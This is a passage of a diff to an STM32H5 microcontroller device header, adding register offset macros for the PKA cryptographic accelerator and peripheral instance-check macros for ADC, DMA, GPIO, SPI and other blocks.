/*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + + +/** @addtogroup STM32H5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)|| \ + ((INSTANCE) == ADC2_NS)|| \ + ((INSTANCE) == ADC2_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S)) +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC2_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_SDMMC2_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S )) +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel1_NS) || ((INSTANCE) == GPDMA2_Channel1_S) || \ + ((INSTANCE) == GPDMA2_Channel2_NS) || ((INSTANCE) == GPDMA2_Channel2_S) || \ + ((INSTANCE) == GPDMA2_Channel3_NS) || ((INSTANCE) == GPDMA2_Channel3_S) || \ + ((INSTANCE) == GPDMA2_Channel4_NS) || ((INSTANCE) == GPDMA2_Channel4_S) || \ + ((INSTANCE) == GPDMA2_Channel5_NS) || ((INSTANCE) == GPDMA2_Channel5_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) IS_DMA_ALL_INSTANCE(INSTANCE) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_DMA_PFREQ_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* DTS Instances *******************************/ +#define IS_DTS_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DTS_NS) || ((__INSTANCE__) == DTS_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On H5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On H5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************************** I3C Instances *******************************/ +#define IS_I3C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I3C1_NS) || ((INSTANCE) == I3C1_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S) || \ + ((INSTANCE) == SDMMC2_NS) || ((INSTANCE) == SDMMC2_S)) + +/****************************** FDCAN Instances *******************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S) || \ + ((INSTANCE) == FDCAN2_NS) || ((INSTANCE) == FDCAN2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S) || \ + ((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S) || \ + ((INSTANCE) == SPI5_NS) || ((INSTANCE) == SPI5_S) || \ + ((INSTANCE) == SPI6_NS) || ((INSTANCE) == SPI6_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S) || \ + ((INSTANCE) == SPI5_NS) || ((INSTANCE) == SPI5_S) || \ + ((INSTANCE) == SPI6_NS) || ((INSTANCE) == SPI6_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) 